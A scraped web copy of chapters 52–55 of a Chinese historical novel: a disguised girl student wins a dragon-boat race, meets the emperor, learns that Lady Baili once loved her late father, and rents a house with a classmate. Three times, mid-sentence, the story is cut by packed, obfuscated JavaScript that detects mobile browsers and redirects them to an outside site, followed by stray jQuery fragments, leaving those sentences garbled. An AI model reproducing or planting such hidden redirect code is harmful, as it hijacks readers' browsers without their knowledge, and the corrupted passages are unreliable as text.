姜飒不参加龙舟赛,但是他要去看裴逍他们比赛,是以也早早起来了。他一开门看见裴逍,立马精神了,快步走来道,“阿逍,你们这队服还挺好看的。不过,也可能是你穿得好看,哈哈。”
裴逍轻扯了下嘴角,没说什么。
“勇士们,好歹吃点东西吧。”百里摇光和祁青阳拿了几个油纸袋步进院中。
“多谢二位啦。”姜飒谄媚道。
四人坐到院中树下石桌旁,一道吃了起来。
“看你们都穿得一样,我就又想到咱们之前一起参加蹴鞠比试了。真羡慕你们可以再一起比赛,可惜安王看不上我。”姜飒道。
“被他看上可不是什么好事,你看最近他们三个累成什么样了。”夏慕卿刚刚起来,站在斋舍门口悠悠道。
“哈哈,也是。我给你们鼓劲助威好了。”姜飒的笑声在院子中回荡起来。
几人到了国子学门口,裴逍、百里摇光、祁青阳与其他龙舟队员一同搭车出发,姜飒和夏慕卿各自坐了府中马车,往西郊金明池而去。
街上人潮涌动,关于粽子、糯米团子、紫苏、菖蒲、百索、蒲叶等端午节时令用物的叫卖声不绝于耳,处处洋溢着端午节的欢乐气息。
离金明池还有两里的距离,马车已经都行不动了。少年们只得下马车步行进入。他们一行四十余个十几岁的少年,身着一样的白色箭袖短缀衣,玄色腰带束紧腰身,看起来利落飒沓,引得周围的行人频频看来。
一路上有不少像他们一样穿了统一服饰的少年或青年,还有军士引路带的士兵队伍,也来参加比赛。
所有参赛人员根据官府府吏的指挥在金明池码头前集合,等待上船。
与裴逍他们一样来参赛的少年、青年们便都齐集此处,接受着池中池岸众多长安百姓的瞩目。这年纪的少年们,精力充沛,唧唧喳喳地交相攀谈。
其中,有几支队伍在这群五陵少年中显得格外不同,他们是京营中的年轻兵士们组成的队伍,安静整肃得仿佛是在接受将领的检阅。
裴逍举着国子学的大旗,站在队伍最前面,不言不语,只是望着水面,独自欣赏着池中景色。后面是作为领头的划手百里摇光和祁青阳,两个少年长身挺立如松,面容俊俏,一个朝气蓬勃,一个气质温润。三人立于参赛人群之中,赫赫吸引了很多人的目光。
52. 第52章
金明池是大夏重建长安城时,在长安西郊开凿的,大夏皇帝常常驾幸这里,阅习水战。在金明池南岸到池中心有一座桥面宽阔的拱桥,长数百步,叫做“仙桥”。桥头池中心是五殿相连的宝津楼。每年三、四月,金明池及池中心的宝津楼都会对百姓开放,所有人都可以自由进入观赏游览。
此时,池岸边、仙桥上、宝津楼中都挤满了前来观看龙舟赛的长安居民。上至朝中百官亲眷、王公贵族,下至布衣百姓,皆对这一年一度的金明池龙舟争标赛充满了期待。
那宝津楼背对码头一侧,有一支木杆高高耸立,上面有此次龙舟赛的锦标,便是各支参赛队伍的争夺目标。
池中自岸边向里,浩浩荡荡地布了几十艘金首赤身的龙舟。北方人普遍水性不是很好,但这毕竟是京都长安,各地出身的人士汇集于此、天下风流英才群聚之地,组出几十支龙舟竞渡队伍并不费力。
池中有一艘高有三层、通体金色的硕大龙舟,据说圣上正在那舟中,还有一些高级官员也随驾在其上。
另有一艘敞阔大船,船上无楼阁,反而列了许多大鼓,停在那御舟不远处。
·
没等多久,便有官府人员组织各队登船。少年们摩拳擦掌,登船坐下,唯有执旗的队员仍需站在舟前。所有参赛队伍按照官府指引,于河中列开次序。
随着指挥官旗帜一挥,河面上响起隆隆鼓声,那敞阔大船上艺人齐列于大鼓前,击鼓演奏起来。
少年们乘坐龙舟,以五舟为一组并排入场。
鼓声激昂慷慨,划龙舟而进的少年们热血沸腾,挥起浆来都格外用力。有那想得多一点的少年提醒道,“现在只是入场,还是省点力气竞渡时再用吧”。
那中央气势恢宏的金色大龙舟最顶层,远远可以看到有身着明黄色华服的男子站在船头,身后众官员跟随观赛。
等最后七支龙舟划来,三十二支参赛队伍于御舟不远处集齐,鼓声停了下来。
几支官府裁判官吏乘坐的小船于参赛队伍前划行,重申比赛规则和路线。所有队伍需要一起出发,竞渡路线是接近环形,中间会穿过一座桥,最终到达河中楼阁台下的锦标处,那里背对码头,而正对御舟。
各队根据远离环形路线中心的距离,出发点设置依次有所调整,越远离圆心的队伍,龙舟始发点越靠前。不过出发后,各队便可争相按最短的路线划行,如此竞争也将更加激烈。
陈列完毕,御舟上一高大军校手中赤色大旗一挥,三十二支龙舟如箭矢齐发。
舟中鼓手大力而不失节奏地击鼓指挥,少年们根据鼓声齐齐奋臂划渡。最后面的舵手,纷纷站起调整方向,试图稳住船只,并争夺最近航道。
国子学的这支队伍,百里摇光和祁青阳领头划,二人力大沉着,引得后面少年们也不甘落后,纷纷用力划舟,是以他们出发后很快便划在了前几位置。
航道争夺异常激烈,他们前面有两支船争夺之间,翻了一舟,一船人瞬间落水。
他们这船桨手提前调整方向,避开两船,从旁边堪堪划过。
经过方才互相撞击的两船之时,裴逍见另一船中也进了很多水,速度减慢许多。而她所乘龙舟,向前急划追去,后面的船只也紧跟而来。
“前面还有两支船,冲啊冲啊追上他们!”舟上少年们喊道。众人鼓噪奋臂狂划。
前面的两支船几乎是并行,他们与那两只船有半个船身的距离。三船保持着这样的距离渐渐驶近桥洞,身后几艘船紧跟在后。
快到那桥洞位置时,有一支紧跟在第一艘船后的龙舟突然加速,打横朝着前面三支船撞了过来。
“啊啊啊!”
“转向转向!要撞了!”
裴逍他们所在的船,受到撞击,迅速向着那桥洞内壁撞去。
裴逍眼疾手快,挥起长长旗杆往那洞壁撑了一下,减缓了下撞击速度。
祁青阳及后面的少年们见状也挥起浆,撑住那洞壁。原本领先半个船身的第二只船和打横的第四条船也朝着他们撞了过来,但幸好他们一侧靠着洞壁,不至于翻船。
第二条船因为被几支船挤在中间,并没有翻船,但船上有少年于撞船之时,手臂受了伤,举着手在喊,“好痛啊,好痛啊”。
第一条船虽然也没有翻,但在被撞击后,因船身不稳进了些水。
那导致这局面的第四条船中进了大半水,一多半人的人落到了水中。加上在前的三支龙舟,一时之前四船的舟和人全部挤在了一起,后面还有紧随而来的龙舟,一撞一撞地都堆堵在了桥洞处。
“撞船了撞船了!”
“船翻了!”
“都挤在桥洞了!”
“太有意思了!”
桥上、岸上人们惊叫连连。
“不对,有条船过去了!”
桥下的少年们这才注意到,方才第四条龙舟撞来之时,有一条龙舟擦过四条龙舟,从最靠近桥洞的航道,安好地划了过去。
“兵士大哥,你们快划起来啊。不然我们都走不了。”第二条龙舟上少年与第一艘船上的人喊道。
裴逍他们看过去,发现那出声的人原来是太学的霍琰,那坐他旁边的就是之前打蹴鞠赛的黑脸少年。
第一条龙舟上领划的兵士高喊,“第十一、十二排舀舟中水,其余人速划”。
很快第一条船便动了起来,第二条船紧跟而上。
第二条船一动,裴逍他们船上靠近桥洞少年们少年用船桨使劲一撑洞壁,船划动起来脱离拥堵,众人便又奋力向前面的船追了去。
三船速度很快,相距非常近,你追我赶,最多差距不超过半个船身。很快他们便追上了先前撞击时趁机划过的那条船,也是支兵士队伍。
之前在第一的那条船上领头的兵士,朝现在领先的这条船上的人喊道,“你们和神卫营联合使诈!”
领先那船上也有兵士高喊反击,“胡说,技不如
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800040|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人就污蔑。”
“谁技不如人!”之前在最领先位置的第一条船上的兵士们,似乎受到刺激,突然奋力加速,与太学和国子学的船拉开了距离。
很快,他们便追上了领先的那艘船,还瞬间一齐对着那艘船上的兵士,做了个军中士兵们常做的侮辱性动作,而后奋臂齐齐划船前进。
被侮辱那船士兵愤怒地将桨划动飞快,但挥桨已经有些不齐了。太学和国子学队的龙舟超过了他们。
第一艘兵士船超过另一队兵士船之后,因为船中还有水的缘故,速度又降了下来。太学和国子学队跟了上来,三船又几乎是保持齐头并进的状态。
楼阁上观看的城民们呐喊纷纷,船上的少年们已经可以看到水中楼阁前悬赤红色锦标的高杆。
划到现在,几乎所有人都已经乏力麻木了,剩下的,全靠意志力比拼了。
国子学龙舟上的少年们见太学队受伤的那学子都在咬牙划船,兵士船中有水都没有和他们拉开距离,他们也不甘落后,奋力挥桨前划。
因着船中无水,也没有划手受伤,国子学的龙舟到底是比另两条船稍稍快了那么一个龙头的距离。
眼看锦标旗杆越来越近,裴逍高举国子学旗杆,严阵以待。
那旗杆顶是矛尖,用来扎锦标的。
就在裴逍旗杆快扎到那锦标时,斜刺里另一旗杆也靠了过来,两只旗杆斗了起来。
裴逍在瞬间想通了,安王为何让她来举旗。这旗杆挥起来和长枪有相似之处,是以裴逍武斗起来更有优势,没想到另一支旗杆,却也与她回斗起来。原来是兵士的那条龙舟追了上来,兵士中当然也有用惯长枪的。
此时,太学队的船上举旗少年也挥起旗杆朝着锦标扎了来,被裴逍和兵士们的旗杆拦住,三杆斗到了一起。
河中阁楼上的士族少年少女们喊声阵阵。
太学队少年似是不擅武艺,很快败下阵来,那兵士和裴逍又斗了几回合,被裴逍一杆推击了回去。
裴逍回身便刺那锦标,正在这时,却又有一支杆拦了过来。
原来是霍琰夺了他们队里举旗少年的旗杆,朝着锦标抢了过来。倒是没有说不可以其他人夺标的,这样不算犯规,只是一般没有时间去换人。
两人于两艘船上挥旗杆对打了起来。不过那霍琰似乎不是惯常用长枪类武器的,裴逍略占上风,裴逍舞动旗杆银蛇长舞般,将太学旗杆卷在其中,旗杆上的太学旗帜脱落,风将旗帜吹得紧紧将霍琰的头脸贴盖住了。
裴逍趁势夺标。
船上、桥上、岸上喝彩叫好声轰然响起。
裴逍高高举标回身,却突然被人揽住腰向后仰去。
“小心!”
这时,她见百里摇光的脸出现在上方,一双剑眉微微凝起,桃花眼中盛着担忧,一根长杆自他背后划过。
裴逍突然感觉到心口慌慌乱跳,以至于她也没发现对面的少年脸色发烫,耳尖泛起了红晕。
53. 第53章
“实在对不住,我不是故意伤你的。”霍琰将那旗帜扯下,见到这场景,忙作揖说道。原是霍琰因为头脸被遮住,凭着直觉挥杆想劈断那锦标的杆,拖延时间,不曾想晚了一步,那杆是劈断了,但锦标已落于裴逍手中,还差点将裴逍伤了。
百里摇光将裴逍拦腰扶起,裴逍忙避开他的目光,冲霍琰淡淡回道,“无碍。”
舟上少年们兴高采烈地纷纷乱跳入水中,连坐在最前面的划手百里摇光和祁青阳也被众人拽进了河里。
龙舟被少年们跳动推搡得离开了亭阁岸一段距离。
几瞬间后,裴逍已经是这条船上唯一一个没下水的了。几处少年坏笑着围过来,看得裴逍心头狂跳,她举着旗杆,心里盘估了下距离,在即将被围攻落水的瞬间,一撑旗杆,凌空跃起,跳到了比较靠近岸边的太学队的舟上。
那舟上仅有个霍琰刚从水里准备爬上来,就因为裴逍一跳船身一摇又给他怼下去了。
裴逍转头看到,有点不好意思,伸手欲拉他上来。没想到霍琰一使坏,反而把她给拉下去了。这下来得突然,裴逍一时没反应过来,还呛了两口水。
霍琰见裴逍在呛水,以为她不会水,游近了准备要拉她。裴逍赶忙换了个方向,头也不回地游开了。
徒留霍琰在原处,不解道,“这人如此开不起玩笑吗?”
·
裴逍在水里看到姜飒还在池上的亭阁中,那边的人已经在散出,人少了许多,她便往那边游去。
等裴逍游到亭阁岸边,姜飒已经站在那了,他在亭阁里看到裴逍游过来早已走了出来,等在岸边。
“好羡慕你们啊!我也想跳进去,可惜不会水。”
裴逍顾不上与他说笑,直说道,“我有点冷,可有衣物借我用下?”
姜飒见裴逍脸色很白,乌发贴在脸上,声音里还有些颤抖,一副可怜兮兮的模样。一瞬间有种异样的感觉涌上了他的心头,他愣怔住了。
“姜飒。”裴逍又叫了一声。
姜飒反应过来,赶忙拉裴逍上岸,火速把身上的外袍脱下披在了裴逍身上。
“身上的湿衣服得尽快换下来,不然怕要得风寒的。这楼阁上我订了包厢,里面有随从准备的换洗衣物,你换上我的穿。”
眼下也没有其他更好的办法,裴逍点点头,跟着姜飒上了楼。
半晌,阁楼包厢里,裴逍看着姜飒道,“那个,姜飒,我不习惯别人看我换衣服。”
姜飒进来给裴逍翻找衣物,听到裴逍这么说,动作一顿,扭头盯着裴逍说道,“阿逍,你有古怪。”
裴逍心里一咯噔,移开眼,故作镇定回了句,“什么古怪?”
“你是不是身体有隐疾?”姜飒凑近裴逍,小声问道。
裴逍稍松了一口气,只要女子身份别被发现就行,她点了点头,就当被猜中了。
“你从不与我们一起沐浴、如厕,我就觉得奇怪。放心,我不会跟别人说的。”姜飒把衣物翻找出来抱给裴逍说,“你安心换吧,我在外面守着。”
裴逍从包厢出来,和姜飒一起走下楼阁。她穿着姜飒的嫩黄松花织锦华服,唇红齿白,分外俊俏。
“裴逍,你怕不是姜飒失散多年的亲弟弟吧?”夏慕卿摇着折扇调侃道。
裴逍和姜飒形容体型有点接近,只是姜飒稍微高一点,裴逍惯常穿着书院的青衿服,平时自己的衣服也都是浅淡儒雅的风格,气质也与姜飒截然不同。她虽年纪最小,看起来却颇为沉稳,骤一穿上姜飒的锦衣,才看出两个少年的相近来。
“你懂什么,我和阿逍,不是兄弟,胜似兄弟。”姜飒一脸与有荣焉的神态。
“走吧,都去我们家。我三婶看了比赛,盛情邀请大家都去府上聚会呢。”百里摇光站在亭岸台阶上看着几人说道。
几人待要离开,忽见有官吏乘舟而来,喊道,“国子学龙舟队等一下,圣上召见!”
“啊,我等这副落汤鸡模样面圣岂不失礼?!”从水中刚爬上来的学子喊道。
“诸位学子,请速速整饬仪容,不可耽搁令圣上久等。”那官吏虽急,但到底不能让这些学子去御前失仪。
二十几个少年只得找在此观赛的同窗、朋友或亲友,找衣服临时换一下了。
百里摇光依旧用内力蒸干衣物。祁青阳也换了一套姜飒的衣物。几人等候其他少年急急慌慌聚齐,登上小舟,随官吏一同去面圣。在船上,少年们也不忘互相审看着整理仪容,姜飒瞧着热闹,呵呵直笑了一路。
御舟上那硕大雄浑的赤金色龙头在少年们的视野中越来越大,船上人员景致也已经可以看到了。
侍卫们沿着御舟一圈,站定把守。一层二层有许多官吏贵妇在走动观景,其中有侍从往来递送点心果珍。三层是圣上和皇后所在,旁边有姿容出众的嫔妃若干,还有高级官员随侍左右。龙舟赛结束后,他们都坐了下来观赏船中的艺人表演。
一行少年跟随官吏登上龙舟,才感受到龙舟之大,俨然一座水上宫殿了。但上船之后,少年们都谨慎端肃起来,只微微低着头,恭敬地跟着前头走。
上了两层台阶,快到顶层时,前面的人停了下来,众少年都停住脚步。等艺人一曲琴声结束,一行人才又继续前行片刻后登上顶层。上了顶层,所有少年按指引分列三排,立于开阔处,随着前面官吏,齐齐跪下,面见行礼。
只听得前面官吏恭敬道,“回皇上,国子学龙舟队学子俱已到齐。”
稍顿了片刻,学子们听到前方传来低沉好听的男声。
“都平身吧。”那声音虽温和,但没人敢放肆。
“嗯,不错。朕看了龙舟赛全程,你们表现得很好。”皇帝一一看过去,列队挺立的少年们,虽服饰不是比试时的统一服装,缺了些许气势和秩序,但个个站得笔直,仪容齐整。嗯?除了最后排角落里两个。
一个虽也长身玉立,却揣手看着水中。一个前倾着身体,扭着头不知道在偷看谁。皇帝摇了摇头,轻笑了一声。
“是安王世子和温国公世子。”旁边林妃也已看到,解语花似地轻柔出声笑着道。在皇帝的另一侧,身穿凤袍的窦皇后闻言觑了林妃一眼,嘴角下撇,倒是没有开口。
“可不是那两个小子?”皇帝无奈回应,随后又问,“刚才立于舟前夺得锦标的是哪个学子?”
官吏回头致意裴逍,裴逍上前行礼道,“回皇上,是小子裴逍。”
“抬起头来。”
裴逍从容抬起头,眼神停留在圣上龙袍下摆位置。
“好气度!这是谁家的小郎君?我怎么不知哪位府上还有这么优秀的少年郎呢?”皇上回头看向大臣们问道。
大臣们互相看看,低声交相询问,都不知是谁家的儿郎。
安王见此上前回道,“皇上,裴逍是北境州府贡生,不是官宦人家子弟。”
“这样啊,不错不错,后生可畏。”皇帝赞许地点了点头。
“皇表兄,您专门叫大家过来这里,可是有什么赏赐?”姜飒混迹在队伍里,兴冲冲喊道。
皇帝觑了他一眼,想了下,说道,“赏国子学龙舟队学子每人歙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800041|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
砚一只,雕翎弓一把。”
“谢皇上,皇上万岁。”少年们叩首谢恩。
裴逍始终觉得皇上身后有道视线一直在盯着自己,但却不好去看。
众少年退后下楼之时,裴逍状作无意地远远看了那边一眼,见那个方向站着几位妃嫔。
·
裴逍等人随着百里摇光一起到了忠国公府,府中仆从往来繁忙,正在给他们准备宴会。
有一娟秀清瘦的女子带着婢仆从正堂中迎了出来,百里摇光介绍道,“这是家婶。”
少年们恭敬行礼道“百里三夫人”。
“不必多礼,平时阿摇仰赖你们照顾了。今日诸位龙舟赛大展身手,一举夺魁,好好放松庆贺一番吧。后院中已摆好场次,请了百戏班,你们一定要玩得尽兴。”百里三夫人微笑说道,“阿摇,你带诸位公子去后院吧。”
裴逍跟在百里摇光身后向后院走去,那种被人注视的感觉又来了。裴逍回头,隔着廊柱和后面少年行动间的缝隙,见百里三夫人正痴痴地看着她。
裴逍心中讶异,她扭回了头,思索着,她此前从未见过百里三夫人,可百里三夫人却像是认识她的模样。今日在御舟之上,她也感觉到有道视线一直在观察自己。在这京中,怎么会有人认得自己呢?裴逍想不明白。
少年们热闹一场,时间已经很晚了,百里摇光和百里三夫人便将所有少年都留宿在了忠国公府。房舍充裕,每人一间客房。
第二日,用过早膳,百里三夫人便遣人来邀裴逍一叙。裴逍心中虽多般思索,但仍旧沉着静坐着等其开口。
丫鬟上茶后,百里三夫人便让人都退下了。
等房门合上,她看着裴逍,柔声道,“裴公子,之前阿摇拿了你的玉佩回来,让家夫修补。我想冒昧问下那玉佩是从何而来?”
“回夫人,玉佩是家父所留。”裴逍如实回答,并仔细观察着百里三夫人的反应。见她听到是裴逍父亲之物,先是愣了一下,随即垂下眼眸,虽然看不到其表情,但裴逍隐隐感觉到了失望和忧伤的情绪。
半晌,百里三夫人微微挺直身子,看着裴逍问道,“裴公子,请问令尊现在怎么样了?”
提到这个问题,裴逍心中升起伤感,语气也难免染上几分悲戚,回道,“家父已经过世了”。
“过世了。”百里三夫人喃喃重复了一遍三个字,反应过来后双眼大睁,神情哀痛,声音都开始颤抖,“他...他什么时候?”
“一年前”。
裴逍见百里三夫人神情悲恸,双眼泪如泉涌,手紧紧地抓住木椅的扶手支撑自己。她的悲恸仿佛根本掩藏不了,就连裴逍都莫名地被感染。
可是,百里三夫人为何这么在意父亲的生死?她甚至都还没问过父亲的名字,难道就凭这块玉佩便能确定父亲就是她认识的那人?裴逍心中不解。
这时,之前在樊川春游时,思卿所说的话,突然在她脑子中回响起来。
“十几年前,清月姐姐在自己心悦的郎君失踪后,为了反抗家族安排的婚约,故意吃了伤身子的药,从此无法再有子嗣,以此逼迫对方家族取消婚约。”
“这本来是两家私下商量好取消婚约就可以的事,不知怎么竟在京中传了起来,虽也有人称赞清月姐姐情比金坚,但更多的是认为她此举损害了家族声誉,而且已经无法再有子嗣,所以清月姐姐渐渐成了京中嫁不去的姑娘。”
“可惜的是,她等了五年,也没有等到那个她喜欢的,却失踪了的人。”
难道,她曾经等的那个人就是,父亲?
54. 第54章
裴逍仿佛突然被什么击中,一时也不知该如何反应。
她从没见过自己的亲生母亲,父亲说母亲是在生她以后不久便病逝了。此后,父亲终生没有再续娶。所以,裴逍一直觉得父亲对母亲的情意是很深的。父亲心里一定也深深惦念着母亲,虽然平日里从不显现,但是一旦喝醉了,他便会反复吟咏一些缠绵悱恻的诗词,弹一些极为悲戚的曲子。就这样,父亲在深山之中守着回忆,苦苦惦念了十几年。
可如果是这样,那百里三夫人自伤身体,苦等那五年,又算什么呢?
她此时见到自己,心里又该是何等苦涩?
裴逍心中虽不忍,但到底还是想弄清楚此事,便开了口,“三夫人是不是认错人了?”
林清月抬眸看向裴逍,“不会。那玉佩是你父亲家传之物,虽不名贵,但却是他非常珍重的。况且见你如此,与当年的裴郎虽然容貌不很像,但行事举动间,俨然是一个模子里刻出来的。我还有什么不信?”
“可是家父裴秀,只是个在边境县城里的小掌柜,怎么会认识夫人呢?”裴逍又问道。
百里三夫人疑惑地看向裴逍,随即她嘴角轻扯了一下,自嘲般地道,“原来是这样,怪不得找不到。”说完,她将头埋进了手里,掩面哭了起来。
裴逍此前已经基本确定父亲就是国子生裴晔,在长安待过,那确实有可能与百里三夫人结识。此时见百里三夫人如此反应,她心里更加确定了父亲应该就是百里三夫人所等的那个人。
但她一来不知当年是非曲直,不知可以说点什么安慰百里三夫人,二来也不知道百里三夫人知道父亲的身份后会不会有别的麻烦,只好静静坐着,任百里三夫人将多年积攒的情感发泄出来,或许是思念,或许是埋怨,或许是不甘,也或许是懊悔。
许久后,门外传来了一个男子低沉的声音,“清月,可安好?”
百里三夫人停止了啜泣,从帕子中抬起头来。她双眼通红,脸上还淌着两行泪,似乎整个人才又重新回到了这个世间。她看向裴逍,一脸歉意道,“裴公子,令尊曾是我的好友,所以听到他的消息,我才如此失态。实在是对不住。”
“不妨事。”裴逍轻声回道。
这时,林清月方才提高声音冲着门外道,“无事,进来吧。”
话音落,一个三十上下的俊朗男子打开门走了进来,眉眼间和百里摇光有两分相似。一开门,他看到林清月的神情,眼中便露出了几分担忧和焦急,他疾走几步近前来,待要开口,林清月抬手制止了他。
“这位裴逍,裴公子,是阿摇的同窗,也是我从前好友之子。”
那男子听闻,方才看向裴逍,眼神中有些许不善。
林清月又看着裴逍介绍道,“裴公子,这是我相公,御前指挥使百里钊。”
裴逍起身端正揖了一礼,“见过百里将军。”
说完,半晌没听到百里钊的回应,裴逍仍保持着揖礼的姿势。
直到林清月的声音响起,“阿钊。”那百里钊方才说了一声,“免礼,请上坐。”
“我没事,不必担心。适才我与裴公子叙旧,方才得知旧友已经过世,所以才会如此。”林清月向百里钊解释道。
百里钊点了点头,对裴逍说,“裴公子,之前阿摇带回来的玉佩已经修补好了,我给到他了,还由他交还给你。”
裴逍听闻玉佩已经补好,心中一喜,再次起身行礼道,“多谢百里将军”。
“不谢谢我吗?”百里摇光的声音由远及近。
裴逍转身朝向百里摇光,也要作揖。百里摇光托了一把,拦住她道,“算了,咱们之间不需要这些虚礼。”
说着,百里摇光将那块补好的玉佩从怀中取出,放在了裴逍手里。
那玉佩加了一圈黄金打造的边框,断裂处镶了金以此来连接和固定碎裂的三块。
一种失而复得的喜悦油然而生,裴逍嘴角眉梢都染上了笑意。这时,她突然想到百里三夫人正是通过这玉认出是故人的,方才得知了父亲的下落,不自觉地将目光投向了百里三夫人。
只见她也盯着这玉佩,神情怅惘。
看来百里三夫人还是没有放下啊,裴逍心道。
这时,百里钊道,“你们同窗好像一起在商量什么计划,你们一同去吧。”
“好,三叔。”
百里摇光引着裴逍出来,往姜飒他们休憩的客舍走,路上忍不住问裴逍,“你父亲以前来过长安吗?怎么会与三婶结识的?”
“我也不知。”裴逍淡淡回道。幸而百里摇光也没再深究,两人一同到了姜飒他们休憩的房舍。
·
姜飒百无聊赖地趴在桌上举着两个茶杯,将里面的茶水从一个杯子倒到另一个杯子,然后又从这个杯子再倒回去,反复折腾。
夏慕卿坐在后面高凳上捧着本书在看。祁青阳没在。
姜飒看见裴逍进来,腾地站起,赶上前几步道,“阿逍,你终于来了,我快无聊死了。”
夏慕卿闻声,笑着道,“等你们许久了,来,我们商量商量避暑假怎么过。”
国子学学子大多是京中宗室官僚子弟,所以国子学不像地方州府学在五月放田假、九月放授衣假,而是在七、八月放两个月的避暑假。
“不用商量了。书院已经安排好了。”祁青阳的声音先传来,随即人出现在门口。
“我听龙舟队的人说,书院安排我们在避暑假的时候去游学,由博士助教分拨带着我们行动,路线也是书院定好的。”他一边说,一边坐到了姜飒之前坐的桌子旁,其他几人也都围着坐下。
姜飒兴奋道,“这样好诶,既然是国子学的统一安排,那我家中的人就不会反对了。我就可以光明正大、理所当然地离京出去游玩了。”
夏慕卿将手中的书卷翻到了一页,那上面的内容,就是大夏的地理舆图,他看着那舆图,悠悠问,“可有消息是怎样的路线?”
祁青阳道,“听说是将五十几名二年生,分成四组,学子们自由组队,最后四组来抽签决定是走哪条游学路线。路线共有两条。
第一条路线,一路向西南,抵达成都府,体验当地风土人情,感受当年杜甫、王勃等大诗人曾领略的景致,与那里州府学的师生
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800042|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学子进行交流。
第二条路线,一路向东,抵达东京汴梁听大儒集会讲学。”
“我记得青阳是汴州人,如果是第二条路线,那青阳倒是可以回家一趟。”夏慕卿道。
祁青阳点了点头,“不过,我的情况,姜大人不知会不会放我出京?”
姜飒道,“窦家和那几个家族因为不孝子弟的事情最近频繁被上折子弹劾,更多的污迹被牵连出来。家族为官的基本都受到了责罚,重的罢官流放;轻的降职罚俸。朝堂上关于废后和改立太子的呼声也响了起来。这几家皆收敛了风头,之前被他们掳走的一些良家女子,也勒令放回,并给予补偿。所以,这几家在这节骨眼上,估计顾不上找你这个孤贫少年的麻烦了。更何况,还有我呢,我想办法找二叔说说,一定让他放你跟我们一道去。”
“嗯。”祁青阳笑着点了点头。
·
这旬一开学,书院中果然宣布了避暑假的游学安排。
裴逍他们抽中了第二条路线,由阮柏聿带队,这一组里,除了他们五个,还有林致远、夏清泽、虞砚、严铮和几个蹴鞠队的人。
学子们对这次游学还是非常期待的,因此个个兴奋地早就准备起了游学时所用的行李物件。与此同时,学子们也纷纷抓紧时间温书。因为在游学前,还要完成国子学上半年的课考。
因为之前的连环杀人案,国子学宣布下半年要对斋舍进行合并,将原本的两人间全部撤改为八人间。这样做主要是为了让学子们个人言行举止能够得到更多人的监督,减少一些霸凌行为发生的可能。
为此,所有学子在避暑假时需要先将个人物品全部带回,假期时国子学内将进行整修。
百里摇光、姜飒、夏慕卿都邀请裴逍和祁青阳将个人物品存放在他们府内。裴逍担心自己以后所行之事,可能会连累到他们,还是坚持自己去赁个房子。
祁青阳见此,便提出和裴逍一起,一来两人可以分担下赁房子的费用,二来两人互相也有个照应。
上半学年末的最后一个旬假,两人一道去城中看房子。
因为两人的要求主要是租金低,牙人给两人介绍了一个很偏僻的小院,靠近城门,据说租金只有现在市场价的三成。
“为何这小院租金如此低?”祁青阳问前面带路的牙人。
“公子啊,这房子前不久发生了命案,官府都来查过,所以附近也就传开了,没人敢租,所以租金才一降再降的。不过这小院还是很干净亮堂的,您二位是国子监的读书人,想必应该不讲究这些吧?”
“之前赁房子的是什么人?”裴逍没理会牙人的问题,直接问道。
“哎呀,说来真的是人不可貌相啊。”那牙人感叹道,“一个十几岁的姑娘啊,看起来文文弱弱的,说话也很温柔,虽然遮着面纱,但一看就知道是个好看的姑娘,附近的邻居听说还有想给她说亲的。谁知道这姑娘竟然杀人了,还杀了好几个,真是想不到。”
说到这,那牙人稍微压低了些声音,“不过,死的那几个都是京中有名的恶少,害了不少人呢。这姑娘倒也算是为民除害了。”
55. 第55章
裴逍和祁青阳对视了一眼,明白过来这小院原来竟是兰惜以前赁的。
牙人推开门,裴逍和祁青阳随后进入,一股药香味扑鼻而来。原来地面上还种了不少草药。
“都是那姑娘之前种的,长出来以后就去卖掉换钱。”
“公子啊,你进屋里看看,这里面都已经清理过的,血迹什么的都没有,干干净净的。”
裴逍抬头,见院子不大,有一棵桂花树。正面一间大屋,两侧各一个小屋。
两人跟着牙人走进大屋,里面是个简单的堂室,两侧各有一道小门通向两间小屋,一间为卧房,另一间为书房。其中陈设非常简单。外侧两间小屋一间为厨房,一间堆了些柴草杂物。
“二位公子,你们看这房子如何?”
祁青阳自知晓这小院本是兰惜所赁,想起之前发生的事,神色怅惘,连话都少了。
裴逍翻了翻那书房桌案上堆放的故纸,许是因为打扫的人不认识字,以为留着这些能让这房子看起来更有些文人气息,这才让他们看到,那些纸上,写得满满的都是“彦辰”两个字。
裴逍看得不忍,闭了闭眼。半晌,她看向祁青阳,“就赁这里,你意下如何?”
祁青阳点了点头,他自然是想赁这里的,但他担心裴逍心里有忌讳,是以一直没开口。
大考揭榜前放了三天假,书院中进行审卷,裴逍和祁青阳将个人物品都搬到了小院。小院正面大屋一侧的书房也改为了卧房,两人一人一间。
其他的陈设基本和原来一样,就连兰惜种的那些草药都保留下来,祁青阳专门向祝医师请教了如何养护那些草药,继续悉心照料着。
